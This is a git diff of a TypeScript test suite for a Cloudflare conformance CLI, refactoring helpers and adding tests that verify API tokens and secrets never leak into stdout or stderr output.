'../scripts/direct-credentialed-conformance-runtime.mjs'; import { + DIRECT_ADMISSION_VARIABLES, DIRECT_CONFORMANCE_USAGE, + DIRECT_CREDENTIAL_VARIABLES, DIRECT_FIXED_OUTPUT, DIRECT_INTERNAL_ERROR_DIAGNOSTIC, DIRECT_OUTPUT_PREFIX, DIRECT_USAGE_DIAGNOSTIC, type DirectConformanceMode, type DirectConformanceModules, + directWritesStderr, parseDirectConformanceArgs, resolveDirectExitCode, runDirectConformance, } from '../scripts/direct-credentialed-conformance-runtime.mjs'; +import { + DIRECT_EVIDENCE_KEYS, + DirectEvidenceWriteError, +} from '../scripts/direct-credentialed-evidence.mjs'; import type { DirectInvocationClient } from '../scripts/direct-credentialed-invocation.mjs'; +import { validateProviderAuth } from '../scripts/direct-credentialed-provider.mjs'; import { DIRECT_RUN_MAX_RESUME_COUNT, type DirectRunSnapshot, @@ -45,9 +54,6 @@ vi.mock('cloudflare', async (importOriginal) => { default: class extends actual.default { constructor(options: ConstructorParameters[0]) { probes.sdk(options); - expect(process.env.CLOUDFLARE_CUSTOM_HEADERS).toBeUndefined(); - expect(process.env.CLOUDFLARE_LOG).toBeUndefined(); - expect(process.env.CLOUDFLARE_BASE_URL).toBeUndefined(); super(options); } }, @@ -60,25 +66,23 @@ const env = { FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET: 'private-invoke-seed', }; const now = () => Date.parse('2026-09-13T00:00:00.000Z'); +/** The bytes the entry writes to each descriptor for an in-process result. */ +function streamsOf(result: Awaited>) { + return { + stdout: result.stdoutLine ?? '', + stderr: directWritesStderr(result) ? (result.stderrLine ?? '') : '', + }; +} function expectCredentialSafeOutput( result: | Awaited> - | { - code: number | null; - stdout: string; - stderr: string; - transcript: string; - }, + | { code: number | null; stdout: string; stderr: string }, credentials: Readonly> = env, ) { - const stdout = 'stdout' in result ? result.stdout : (result.stdoutLine ?? ''); - const stderr = - 'stderr' in result - ? result.stderr - : result.exitCode !== 0 && result.exitCode !== 3 - ? (result.stderrLine ?? '') - : ''; if ('stdoutLine' in result) { + // Total rendering: only a stderr-only refusal withholds the stdout summary, + // so a result that would print nothing at all fails here. + expect(result.stdoutLine === null).toBe(result.stderrOnly === true); if (result.stdoutLine !== null) { expect(result.stdoutLine.startsWith(DIRECT_OUTPUT_PREFIX)).toBe(true); expect(result.stdoutLine.endsWith('\n')).toBe(true); @@ -92,22 +96,19 @@ function expectCredentialSafeOutput( } if (result.stderrOnly) { expect(result.exitCode).toBe(2); - expect(result.stdoutLine).toBeNull(); if (result.stderrLine !== null) expect(DIRECT_FIXED_OUTPUT).toContain(result.stderrLine); } } - const transcript = - 'transcript' in result ? result.transcript : stdout + stderr; - for (const variable of [ - 'CLOUDFLARE_API_TOKEN', - 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET', - ]) { + // One discriminant for the whole helper, and one check per descriptor. + const { stdout, stderr } = + 'stdoutLine' in result ? streamsOf(result) : result; + for (const variable of DIRECT_CREDENTIAL_VARIABLES) { const credential = credentials[variable]; if (typeof credential !== 'string' || credential.length === 0) continue; - expect(transcript.includes(credential)).toBe(false); - if ('stderrLine' in result) - expect(result.stderrLine?.includes(credential) ?? false).toBe(false); + // Either descriptor order, because a reader interleaves two pipes. + expect((stdout + stderr).includes(credential)).toBe(false); + expect((stderr + stdout).includes(credential)).toBe(false); } return { stdout, stderr }; } @@ -116,6 +117,25 @@ afterEach(async () => { vi.clearAllMocks(); await cleanupDirectRunState(); }); +const NO_RETAINED_IDENTITIES = { + fleetUuid: null, + quotaUuid: null, + exportBucket: null, + scriptName: null, + activeVersionId: null, +}; +/** + * The invalid-input diagnostic for `variable`, in one place rather than per + * test. `freezes complete fixed output lines from the emitted constants` checks + * it against the CLI's own list for every admission variable. + */ +function invalidInputLine(variable: string) { + return `${JSON.stringify({ code: 'invalid-input', variable })}\n`; +} +/** Reads the credentials the real runtime reads, so the entry's guard is armed. */ +function armGuard(input: { env: Record }) { + for (const variable of DIRECT_CREDENTIAL_VARIABLES) void input.env[variable]; +} async function world(fleetUuid?: string) { const f = await fixture(1000); @@ -159,7 +179,11 @@ async function world(fleetUuid?: string) { const modules = { preflight: vi.fn(async () => f.prepared), openRunState: vi.fn(async () => journal), - inspectRunState: vi.fn(async () => ({ snapshot, close: journal.close })), + inspectRunState: vi.fn(async () => ({ + directory: actual.directory, + snapshot, + close: journal.close, + })), bootstrap: vi.fn( async () => ({}) as DirectInvocationClient, ), @@ -169,13 +193,7 @@ async function world(fleetUuid?: string) { teardown: vi.fn(async () => ({ status: 'cleaned', facts: { - retainedIdentities: { - fleetUuid: null, - quotaUuid: null, - exportBucket: null, - scriptName: null, - activeVersionId: null, - }, + retainedIdentities: NO_RETAINED_IDENTITIES, receipts: maximalTeardown().receipts, residual: null, providerRequests: 7, @@ -221,13 +239,7 @@ function retained( reason, phase: 'refused', facts: { - retainedIdentities: { - fleetUuid: null, - quotaUuid: null, - exportBucket: null, - scriptName: null, - activeVersionId: null, - }, + retainedIdentities: NO_RETAINED_IDENTITIES, receipts: teardownState().receipts, residual: null, providerRequests: 9, @@ -240,6 +252,19 @@ function retained( const entry = fileURLToPath( new URL('../scripts/direct-credentialed-conformance.mjs', import.meta.url), ); +/** + * One run directory holding one `--import` module, for the spawned entry tests. + * A module that writes back into the directory receives it. + */ +async function preloaded(source: string | ((directory: string) => string)) { + const f = await fixture(); + const preload = join(f.directory, 'preload.mjs'); + await writeFile( + preload, + typeof source === 'string' ? source : source(f.directory), + ); + return { f, preload }; +} async function child( command: string, args: string[], @@ -254,22 +279,19 @@ async function child( }); let stdout = ''; let stderr = ''; - let transcript = ''; spawned.stdout.setEncoding('utf8'); spawned.stderr.setEncoding('utf8'); spawned.stdout.on('data', (chunk) => { stdout += chunk; - transcript += chunk; }); spawned.stderr.on('data', (chunk) => { stderr += chunk; - transcript += chunk; }); const code = await new Promise((resolve, reject) => { spawned.once('error', reject); spawned.once('close', resolve); }); - const result = { code, stdout, stderr, transcript }; + const result = { code, stdout, stderr }; expectCredentialSafeOutput(result, readCredentials); return result; } @@ -279,20 +301,19 @@ async function entryWithRuntime( credentials: Record, reenterStderr = false, ) { - const result = { - code: null as number | null, - stdout: '', - stderr: '', - transcript: '', - }; + const result = { code: null as number | null, stdout: '', stderr: '' }; const handlers = new Map void>(); const source = await readFile(entry, 'utf8'); - runInNewContext(source.replace(/^import \{[\s\S]*?\} from '[^']+';/m, ''), { - parseDirectConformanceArgs, - resolveDirectExitCode, + // The harness evaluates the entry with its imports supplied as context. A + // strip that stopped matching would evaluate a different program, so the + // removal is checked rather than assumed, and the names come from the real + // module namespace so they cannot drift from the entry's import list. + const stripped = source.replace(/^import \{[\s\S]*?\} from '[^']+';\n/m, ''); + expect(stripped).not.toBe(source); + expect(stripped).not.toMatch(/^\s*import\b/mu); + runInNewContext(stripped, { + ...directRuntime, runDirectConformance: run, - DIRECT_INTERNAL_ERROR_DIAGNOSTIC, - DIRECT_USAGE_DIAGNOSTIC, process: { argv: ['node', entry, '--run'], env: credentials, @@ -303,13 +324,11 @@ async function entryWithRuntime( stdout: { write: (line: string) => { result.stdout += line; - result.transcript += line; }, }, stderr: { write: (line: string) => { result.stderr += line; - result.transcript += line; if (reenterStderr) { reenterStderr = false; handlers.get('unhandledRejection')?.(); @@ -339,6 +358,13 @@ describe.sequential('direct CLI runtime', () => { ]); expect(DIRECT_FIXED_OUTPUT).toContain(DIRECT_USAGE_DIAGNOSTIC); expect(DIRECT_FIXED_OUTPUT).toContain(DIRECT_INTERNAL_ERROR_DIAGNOSTIC); + // Membership derived from the emitted constants rather than copied: every + // admission variable contributes its diagnostic, and nothing else does. + for (const variable of DIRECT_ADMISSION_VARIABLES) + expect(DIRECT_FIXED_OUTPUT).toContain(invalidInputLine(variable)); + expect( + DIRECT_FIXED_OUTPUT.filter((line) => line.includes('invalid-input')), + ).toEqual(DIRECT_ADMISSION_VARIABLES.map(invalidInputLine)); }); it.each([ @@ -356,14 +382,17 @@ describe.sequential('direct CLI runtime', () => { 'variable', ])('refuses a fixed-output credential with a safe fixed diagnostic or silence (%s)', async (secret) => { const f = await fixture(680); - for (const variable of [ - 'CLOUDFLARE_API_TOKEN', - 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET', - ]) { + // The refusal under test is the fixed-output collision, not the guard + // beside it: every table value is a token this row's sibling admits. + expect(() => validateProviderAuth(secret)).not.toThrow(); + expect(DIRECT_FIXED_OUTPUT.some((line) => line.includes(secret))).toBe( + true, + ); + for (const variable of DIRECT_CREDENTIAL_VARIABLES) { const credentials = { ...env, [variable]: secret }; const distPresent = vi.fn(() => false); const openRunState = vi.fn(); - const diagnostic = `${JSON.stringify({ code: 'invalid-input', variable })}\n`; + const diagnostic = invalidInputLine(variable); const stderrLine = diagnostic.includes(secret) ? null : diagnostic; const result = await runDirectConformance({ mode: 'run', @@ -461,7 +490,6 @@ describe.sequential('direct CLI runtime', () => { code: 2, stdout: '', stderr: '', - transcript: '', }); expect(existsSync(f.base)).toBe(false); }); @@ -481,12 +509,8 @@ describe.sequential('direct CLI runtime', () => { code: 2, stdout: '', stderr: DIRECT_USAGE_DIAGNOSTIC, - transcript: DIRECT_USAGE_DIAGNOSTIC, }); - const f = await fixture(); - const preload = join(f.directory, 'preload.mjs'); - await writeFile( - preload, + const { preload } = await preloaded( `setTimeout(() => { throw new Error('secret-stack'); }, 0);\n`, ); const failure = await child( @@ -500,7 +524,6 @@ describe.sequential('direct CLI runtime', () => { code: 1, stdout: '', stderr: DIRECT_USAGE_DIAGNOSTIC + DIRECT_INTERNAL_ERROR_DIAGNOSTIC, - transcript: DIRECT_USAGE_DIAGNOSTIC + DIRECT_INTERNAL_ERROR_DIAGNOSTIC, }); }); @@ -508,10 +531,7 @@ describe.sequential('direct CLI runtime', () => { 'CLOUDFLARE_API_TOKEN', 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET', ] as const)('drops a later rejection diagnostic when %s spans consecutive stderr lines', async (variable) => { - const f = await fixture(); - const preload = join(f.directory, 'preload.mjs'); - await writeFile( - preload, + const { f, preload } = await preloaded( `const write = process.stderr.write.bind(process.stderr); process.stderr.write = (...args) => { const result = write(...args); @@ -531,7 +551,7 @@ process.stderr.write = (...args) => { undefined, credentials, ); - const refusal = `${JSON.stringify({ code: 'invalid-input', variable })}\n`; + const refusal = invalidInputLine(variable); expect(refusal).not.toContain(credentials[variable]); expect(DIRECT_INTERNAL_ERROR_DIAGNOSTIC).not.toContain( credentials[variable], @@ -543,12 +563,7 @@ process.stderr.write = (...args) => { code: 1, stdout: '', stderr: refusal, - transcript: refusal, }); - expect(result.stderr).not.toContain(credentials.CLOUDFLARE_API_TOKEN); - expect(result.stderr).not.toContain( - credentials.FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET, - ); expect(existsSync(f.base)).toBe(false); }); @@ -556,8 +571,7 @@ process.stderr.write = (...args) => { 'CLOUDFLARE_API_TOKEN', 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET', ])('drops the stderr copy when %s spans stdout and stderr', async (variable) => { - const summary = - '{"code":"invalid-input","variable":"FLEET_DIRECT_CONFORMANCE_CONFIG"}\n'; + const summary = invalidInputLine('FLEET_DIRECT_CONFORMANCE_CONFIG'); const stdout = `${DIRECT_OUTPUT_PREFIX}${summary}`; const secret = 'CONFIG"}\n{"code"'; expect(stdout).not.toContain(secret); @@ -565,8 +579,7 @@ process.stderr.write = (...args) => { expect(stdout + summary).toContain(secret); const result = await entryWithRuntime( async (input) => { - void input.env.CLOUDFLARE_API_TOKEN; - void input.env.FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET; + armGuard(input); return { exitCode: 2, summary: JSON.parse(summary), @@ -577,7 +590,7 @@ process.stderr.write = (...args) => { }, { ...env, [variable]: secret }, ); - expect(result).toEqual({ code: 2, stdout, stderr: '', transcript: stdout }); + expect(result).toEqual({ code: 2, stdout, stderr: '' }); }); it.each([ @@ -590,11 +603,11 @@ process.stderr.write = (...args) => { ); const summary = { names: { worker: secret } }; const stderrLine = `${JSON.stringify(summary)}\n`; + let observedMode: unknown; const result = await entryWithRuntime( async (input) => { - expect(input.mode).toBe('run'); - void input.env.CLOUDFLARE_API_TOKEN; - void input.env.FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET; + observedMode = input.mode; + armGuard(input); return { exitCode: 0, summary, @@ -605,16 +618,79 @@ process.stderr.write = (...args) => { }, { ...env, [variable]: secret }, ); - expect(result).toEqual({ code: 5, stdout: '', stderr: '', transcript: '' }); + expect(observedMode).toBe('run'); + expect(result).toEqual({ code: 5, stdout: '', stderr: '' }); + }); + + it.each( + DIRECT_CREDENTIAL_VARIABLES, + )('drops the stderr copy when %s spans stderr before stdout', async (variable) => { + const stderrLine = '{"a":"Y"}\n'; + const stdoutLine = `${DIRECT_OUTPUT_PREFIX}{"a":"X"}\n`; + const secret = 'Y"}\nDIRECT'; + // The credential spans only the reverse boundary: a reader that takes + // stderr before stdout sees it, the writer's own order never does. + expect(stdoutLine + stderrLine).not.toContain(secret); + expect(stderrLine + stdoutLine).toContain(secret); + const result = await entryWithRuntime( + async (input) => { + armGuard(input); + return { + exitCode: 1, + summary: JSON.parse(stderrLine), + evidencePath: null, + stdoutLine, + stderrLine, + }; + }, + { ...env, [variable]: secret }, + ); + expect(result).toEqual({ code: 1, stdout: stdoutLine, stderr: '' }); + }); + + it.each([ + // A key name the projection writes, and the index an array element carries. + 'retainedIdentities', + '1', + ])('refuses the evidence artifact key %s as a credential before the run starts', async (secret) => { + expect(DIRECT_FIXED_OUTPUT.some((line) => line.includes(secret))).toBe( + false, + ); + expect(() => validateProviderAuth(secret)).not.toThrow(); + for (const variable of DIRECT_CREDENTIAL_VARIABLES) { + const f = await fixture(1000); + const openRunState = vi.fn(); + const result = await runDirectConformance({ + mode: 'run', + configPath: f.configPath, + env: { ...env, [variable]: secret }, + now, + modules: { openRunState, preflight: async () => f.prepared }, + }); + expect(result).toMatchObject({ + exitCode: 2, + summary: { code: 'invalid-input', variable }, + stderrLine: invalidInputLine(variable), + stderrOnly: true, + }); + expectCredentialSafeOutput(result, { ...env, [variable]: secret }); + expect(openRunState).not.toHaveBeenCalled(); + expect(existsSync(f.base)).toBe(false); + } + }); + + it('names every evidence artifact key in the admission vocabulary', () => { + expect(DIRECT_EVIDENCE_KEYS).toContain('retainedIdentities'); + expect(DIRECT_EVIDENCE_KEYS.every((key) => /^[\w.-]+$/u.test(key))).toBe( + true, + ); }); it('reserves transcript bytes before a synchronous diagnostic re-enters the guard', async () => { - const stderrLine = - '{"code":"invalid-input","variable":"CLOUDFLARE_API_TOKEN"}\n'; + const stderrLine = invalidInputLine('CLOUDFLARE_API_TOKEN'); const result = await entryWithRuntime( async (input) => { - void input.env.CLOUDFLARE_API_TOKEN; - void input.env.FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET; + armGuard(input); return { exitCode: 2, summary: JSON.parse(stderrLine), @@ -631,7 +707,6 @@ process.stderr.write = (...args) => { code: 1, stdout: '', stderr: stderrLine, - transcript: stderrLine, }); }); @@ -642,67 +717,85 @@ process.stderr.write = (...args) => { { ...env, FLEET_DIRECT_CONFORMANCE_CONFIG: f.configPath }, { get(target, key) { - if ( - key === 'CLOUDFLARE_API_TOKEN' || - key === 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET' - ) - reads.push(key); + if (DIRECT_CREDENTIAL_VARIABLES.includes(key as string)) + reads.push(key as string); return Reflect.get(target, key); }, }, ); + // The two observations the entry's own callbacks would swallow are + // captured here and asserted after the call completes. + let readsAtPreflight: string[] | undefined; + let readsAfterRun: string[] | undefined; const result = await entryWithRuntime(async (input) => { const result = await runDirectConformance({ ...input, modules: { preflight: async () => { - expect(reads).toEqual([]); + readsAtPreflight = [...reads]; return f.prepared; }, distPresent: () => false, }, }); - expect(reads).toEqual([ - 'CLOUDFLARE_API_TOKEN', - 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET', - ]); + readsAfterRun = [...reads]; return result; }, credentials); + expect(readsAtPreflight).toEqual([]); + expect(readsAfterRun).toEqual([...DIRECT_CREDENTIAL_VARIABLES]); expect(result.code).toBe(2); expect(result.stdout).toContain('dist-missing'); expect(existsSync(f.base)).toBe(false); }); - it('returns null stderr for an unknown admission variable', async () => { + it('arms the entry guard for a live refusal returned before the credential read', async () => { + const credentials = { + CLOUDFLARE_ACCOUNT_ID: 'account', + CLOUDFLARE_API_TOKEN: 'FLEET_DIRECT_CONFORMANCE_CONFIG', + FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET: 'private-invoke-seed', + }; + const withheld = await child( + process.execPath, + [entry, '--run'], + undefined, + credentials, + ); + expect(withheld).toEqual({ + code: 5, + stdout: '', + stderr: '', + }); + const line = invalidInputLine('FLEET_DIRECT_CONFORMANCE_CONFIG'); + const printed = await child(process.execPath, [entry, '--run'], undefined, { + ...credentials, + CLOUDFLARE_API_TOKEN: 'private-api-seed', + }); + expect(printed.code).toBe(2); + expect(printed.stdout).toBe(`${DIRECT_OUTPUT_PREFIX}${line}`); + expect(printed.stderr).toBe(line); + }); + + it.each( + DIRECT_ADMISSION_VARIABLES, + )('emits the diagnostic of the loop that refused %s', async (variable) => { const f = await fixture(); - const parse = JSON.parse; - const decode = vi - .spyOn(JSON, 'parse') - .mockImplementation((text, reviver) => { - const decoded = parse(text, reviver); - if (decoded?.code === 'invalid-input') - return { ...decoded, variable: 'UNKNOWN_VARIABLE' }; - return decoded; - }); - try { - const result = await runDirectConformance({ - mode: 'run', - configPath: f.configPath, - env: { ...env, CLOUDFLARE_API_TOKEN: '' }, - modules: { preflight: async () => f.prepared }, - }); - expect(result).toEqual({ - exitCode: 2, - summary: { code: 'invalid-input', variable: 'UNKNOWN_VARIABLE' }, - evidencePath: null, - stdoutLine: null, - stderrLine: null, - stderrOnly: true, - }); - expectCredentialSafeOutput(result, { ...env, CLOUDFLARE_API_TOKEN: '' }); - } finally { - decode.mockRestore(); - } + const result = await runDirectConformance({ + mode: 'run', + configPath: f.configPath, + env: { ...env, [variable]: '' }, + modules: { preflight: async () => f.prepared }, + }); + // The line travels with the refusal, so it names the variable the loop + // refused whatever a decoded summary says. + expect(result).toEqual({ + exitCode: 2, + summary: { code: 'invalid-input', variable }, + evidencePath: null, + stdoutLine: null, + stderrLine: invalidInputLine(variable), + stderrOnly: true, + }); + expectCredentialSafeOutput(result, { ...env, [variable]: '' }); }); it('resolves terminal exit codes with evidence failure before internal error and stable ties', () => { @@ -728,10 +821,7 @@ process.stderr.write = (...args) => { 'Promise.reject(new Error("secret-stack"))', 'throw new Error("secret-stack")', ])('prints help and a later timer error with noncolliding credentials (%s)', async (failure) => { - const f = await fixture(); - const preload = join(f.directory, 'preload.mjs'); - await writeFile( - preload, + const { preload } = await preloaded( `const write = process.stdout.write.bind(process.stdout); process.stdout.write = (...args) => { const result = write(...args); @@ -750,14 +840,10 @@ process.stdout.write = (...args) => { `${DIRECT_OUTPUT_PREFIX}${JSON.stringify({ usage: DIRECT_CONFORMANCE_USAGE })}\n`, ); expect(result.stderr).toBe('{"code":"internal-error"}\n'); - expect(result.transcript).toBe(result.stdout + result.stderr); }); it('preserves an internal error when help completion subsequently sets its exit code', async () => { - const f = await fixture(); - const preload = join(f.directory, 'preload.mjs'); - await writeFile( - preload, + const { preload } = await preloaded( `const write = process.stdout.write.bind(process.stdout); process.stdout.write = (...args) => { process.emit('unhandledRejection', new Error('secret-stack')); @@ -809,31 +895,38 @@ process.stdout.write = (...args) => { 'CLOUDFLARE_API_TOKEN', 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET', undefined, - ])('prints exact help without reading credentials (%s)', async (variable) => { - const f = await fixture(); - const preload = join(f.directory, 'preload.mjs'); - const readsPath = join(f.directory, 'reads.json'); - await writeFile( - preload, - `import { writeFileSync } from 'node:fs'; + ])('prints exact help without reading credentials or configuration (%s)', async (variable) => { + const probed = [ + ...DIRECT_CREDENTIAL_VARIABLES, + 'FLEET_DIRECT_CONFORMANCE_CONFIG', + ]; + const { f, preload } = await preloaded((directory) => { + const path = JSON.stringify(join(directory, 'reads.json')); + return `import { writeFileSync } from 'node:fs'; const reads = []; process.env = new Proxy(process.env, { get(target, key) { - if (['CLOUDFLARE_API_TOKEN', 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET'].includes(key)) reads.push(key); + if (${JSON.stringify(probed)}.includes(key)) reads.push(key); return Reflect.get(target, key); }, }); -process.on('exit', () => writeFileSync(${JSON.stringify(readsPath)}, JSON.stringify(reads)));\n`, - ); +process.on('exit', () => writeFileSync(${path}, JSON.stringify(reads)));\n`; + }); + const readsPath = join(f.directory, 'reads.json'); const result = await child( process.execPath, ['--import', preload, entry, '--help'], undefined, - variable ? { [variable]: 'DIRECT_CONFORMANCE' } : {}, + { + ...(variable ? { [variable]: 'DIRECT_CONFORMANCE' } : {}), + FLEET_DIRECT_CONFORMANCE_CONFIG: f.configPath, + }, {}, ); const stdout = `${DIRECT_OUTPUT_PREFIX}${JSON.stringify({ usage: DIRECT_CONFORMANCE_USAGE })}\n`; - expect(result).toEqual({ code: 0, stdout, stderr: '', transcript: stdout }); + expect(result).toEqual({ code: 0, stdout, stderr: '' }); + // Help is exempt from both reads in the same expression: the credentials + // and the configuration path. expect(JSON.parse(await readFile(readsPath, 'utf8'))).toEqual([]); expect(existsSync(f.base)).toBe(false); }); @@ -842,13 +935,10 @@ process.on('exit', () => writeFileSync(${JSON.stringify(readsPath)}, JSON.string 'CLOUDFLARE_API_TOKEN', 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET', ])('prints local preflight without reading colliding %s', async (variable) => { - const f = await fixture(); - const preload = join(f.directory, 'preload.mjs'); - await writeFile( - preload, + const { f, preload } = await preloaded( `process.env = new Proxy(process.env, { get(target, key) { - if (['CLOUDFLARE_API_TOKEN', 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET'].includes(key)) throw new Error('credential-read'); + if (${JSON.stringify(DIRECT_CREDENTIAL_VARIABLES)}.includes(key)) throw new Error('credential-read'); return Reflect.get(target, key); }, });\n`, @@ -887,10 +977,6 @@ process.on('exit', () => writeFileSync(${JSON.stringify(readsPath)}, JSON.string expectCredentialSafeOutput(result, {}); const expected = `${DIRECT_OUTPUT_PREFIX}${JSON.stringify({ usage: DIRECT_CONFORMANCE_USAGE })}\n`; expect(result.stdoutLine).toBe(expected); - const spawned = await child(process.execPath, [entry, '--help']); - expect(spawned.code).toBe(0); - expect(spawned.stdout).toBe(expected); - expect(spawned.stderr).toBe(''); }); it.each([ @@ -1001,7 +1087,7 @@ process.on('exit', () => writeFileSync(${JSON.stringify(readsPath)}, JSON.string ]); expect(result.code).toBe(1); expect(result.stderr).toBe( - '{"code":"invalid-input","variable":"FLEET_DIRECT_CONFORMANCE_CONFIG"}\n' + + invalidInputLine('FLEET_DIRECT_CONFORMANCE_CONFIG') + DIRECT_INTERNAL_ERROR_DIAGNOSTIC, ); expect(result.stderr).not.toContain('secret-stack'); @@ -1026,13 +1112,7 @@ process.on('exit', () => writeFileSync(${JSON.stringify(readsPath)}, JSON.string expect(result.summary).toMatchObject({ status: 'cleaned', teardownCall: null, - retainedIdentities: { - fleetUuid: null, - quotaUuid: null, - exportBucket: null, - scriptName: null, - activeVersionId: null, - }, + retainedIdentities: NO_RETAINED_IDENTITIES, }); }); @@ -1359,10 +1439,11 @@ process.on('exit', () => writeFileSync(${JSON.stringify(readsPath)}, JSON.string }); it.each([ - [2, `Bearer ${'x'.repeat(6993)}`], - [1, env.FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET], - ] as const)('prints the inspected preflight bytes when toJSON changes after %s safe serializations', async (safeSerializations, forbidden) => { + `Bearer ${'x'.repeat(6993)}`, + env.FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET, + ])('prints the one inspected preflight serialization when toJSON later yields %s', async (forbidden) => { const f = await fixture(); + const safeSerializations = 1; let serializations = 0; const result = await runDirectConformance({ mode: 'preflight', @@ -1399,6 +1480,37 @@ process.on('exit', () => writeFileSync(${JSON.stringify(readsPath)}, JSON.string expect(result.stdoutLine).not.toContain('Bearer'); }); + it('refuses a preflight summary whose first serialization yields a forbidden literal', async () => { + const f = await fixture(); + let serializations = 0; + const result = await runDirectConformance({ + mode: 'preflight', + configPath: f.configPath, + env, + modules: { + preflight: async () => ({ + ...f.prepared, + names: { + ...f.prepared.names, + toJSON: () => { + serializations += 1; + return 'Bearer forbidden'; + }, + }, + }), + }, + }); + expect(serializations).toBe(1); + expect(result.exitCode).toBe(5); + expect(result.summary).toMatchObject({ + code: 'evidence-failed', + sentinelClass: 'literal', + keyPath: 'names', + }); + expectCredentialSafeOutput(result); + expect(result.stdoutLine).not.toContain('Bearer'); + }); + it('prints inspected rawJSON resumeCount bytes without introducing a credential by reserialization', async () => { const rawJSON = (JSON as typeof JSON & { rawJSON(text: string): number }) .rawJSON; @@ -1425,22 +1537,7 @@ process.on('exit', () => writeFileSync(${JSON.stringify(readsPath)}, JSON.string const expected = `${DIRECT_OUTPUT_PREFIX}${JSON.stringify(result.summary).replace('"resumeCount":1000', '"resumeCount":1e3')}\n`; expect(result.stdoutLine).toBe(expected); expect(result.stderrLine).toBe(expected.slice(DIRECT_OUTPUT_PREFIX.length)); - const printed = await child( - process.execPath, - [ - '-e', - 'process.stdout.write(process.argv[1])', - result.stdoutLine as string, - ], - undefined, - { CLOUDFLARE_API_TOKEN: credentials.CLOUDFLARE_API_TOKEN }, - ); - expect(printed).toEqual({ - code: 0, - stdout: expected, - stderr: '', - transcript: expected, - }); + expect(result.stdoutLine).not.toContain(credentials.CLOUDFLARE_API_TOKEN); }); it.each([ @@ -1511,19 +1608,38 @@ process.on('exit', () => writeFileSync(${JSON.stringify(readsPath)}, JSON.string }, }); expectCredentialSafeOutput(result, {}); - expect(result.exitCode).toBe(bytes === 4096 ? 0 : 1); + // The oversized line is replaced; the preflight keeps the code it resolved. + expect(result.exitCode).toBe(0); expect(result.stdoutLine).toBe( bytes === 4096 ? expected : 'DIRECT_CONFORMANCE {"code":"internal-error"}\n', ); - const printed = await child(process.execPath, [ - '-e', - 'process.stdout.write(process.argv[1])', - result.stdoutLine as string, - ]); - expect(printed.stdout).toBe(result.stdoutLine); - expect(Buffer.byteLength(printed.stdout)).toBeLessThanOrEqual(4096); + expect(Buffer.byteLength(result.stdoutLine as string)).toBeLessThanOrEqual( + 4096, + ); + }); + + it('keeps a failed run exit code when its oversized summary is replaced', async () => { + const w = await world(); + w.set({ + scenario: completeScenario(), + binding: { ...w.snapshot().binding, resourcePrefix: 'p'.repeat(4096) }, + }); + w.modules.teardown.mockRejectedValue(new DirectRunStateError()); + const result = await runDirectConformance({ + mode: 'resume', + configPath: w.f.configPath, + env, + modules: w.modules, + now, + git: () => null, + }); + expectCredentialSafeOutput(result); + expect(result.stdoutLine).toBe( + 'DIRECT_CONFORMANCE {"code":"internal-error"}\n', + ); + expect(result.exitCode).toBe(1); }); it('bounds a sentinel replacement whose key path exceeds the stdout byte limit', async () => { @@ -1601,7 +1717,7 @@ process.on('exit', () => writeFileSync(${JSON.stringify(readsPath)}, JSON.string expect(result.exitCode).toBe(5); expect(result.summary).toEqual({ code: 'evidence-failed', - sentinelClass: 'identity-shape', + refusalClass: 'identity-shape', keyPath: 'retainedIdentities.fleetUuid', evidenceWritten: false, }); @@ -1691,6 +1807,83 @@ process.on('exit', () => writeFileSync(${JSON.stringify(readsPath)}, JSON.string expectCredentialSafeOutput(result, {}); }); + it('reports the publication state when a byte hit collapses a summary without the flag', async () => { + const w = await world(); + w.set({ + teardown: { ...maximalTeardown(), phase: 'complete', failure: null }, + }); + const credentials = { ...env, CLOUDFLARE_API_TOKEN: 'E {"status"' }; + const parse = JSON.parse; + let stripped = false; + const decode = vi + .spyOn(JSON, 'parse') + .mockImplementation((text, reviver) => { + const decoded = parse(text, reviver); + if ( + !stripped && + decoded !== null && + typeof decoded === 'object' && + 'evidenceWritten' in decoded + ) { + stripped = true; + const { evidenceWritten: _flag, ...rest } = decoded; + return rest; + } + return decoded; + }); + try { + const result = await runDirectConformance({ + mode: 'run', + configPath: w.f.configPath, + env: credentials, + modules: w.modules, + now, + git: () => null, + }); + expect(stripped).toBe(true); + expect(result.exitCode).toBe(5); + expect(result.stdoutLine).toBe( + 'DIRECT_CONFORMANCE {"code":"evidence-failed","evidenceWritten":true}\n', + ); + expect(existsSync(result.evidencePath as string)).toBe(true); + expectCredentialSafeOutput(result, credentials); + } finally { + decode.mockRestore(); + } + }); + + it('reports a durability failure after replacement as exit 5 with evidence published', async () => { + const w = await world(); + w.set({ + teardown: { ...maximalTeardown(), phase: 'complete', failure: null }, + }); + const result = await runDirectConformance({ + mode: 'resume', + configPath: w.f.configPath, + env, + now, + git: () => null, + modules: { + ...w.modules, + writeEvidence: async () => { + throw new DirectEvidenceWriteError(); + }, + }, + }); + expectCredentialSafeOutput(result); + expect(result).toMatchObject({ + exitCode: 5, + // The artifact replaced its predecessor before the fault, so the run + // names the file it published. + evidencePath: join(w.journal.directory, 'evidence.json'), + summary: { code: 'evidence-failed', evidenceWritten: true }, + }); + expect(result.stdoutLine).toBe( + 'DIRECT_CONFORMANCE {"code":"evidence-failed","evidenceWritten":true}\n', + ); + expect(w.journal.close).toHaveBeenCalledOnce(); + }); + it('reports a failed evidence write as exit 5 after closing the journal', async () => { const w = await world(); w.journal.directory = join(w.f.runDirectory, 'missing'); diff --git a/packages/fleet-control/test/direct-credentialed-conformance.acceptance.test.ts b/packages/fleet-control/test/direct-credentialed-conformance.acceptance.test.ts index 82e94583..4c8fe69d 100644 --- 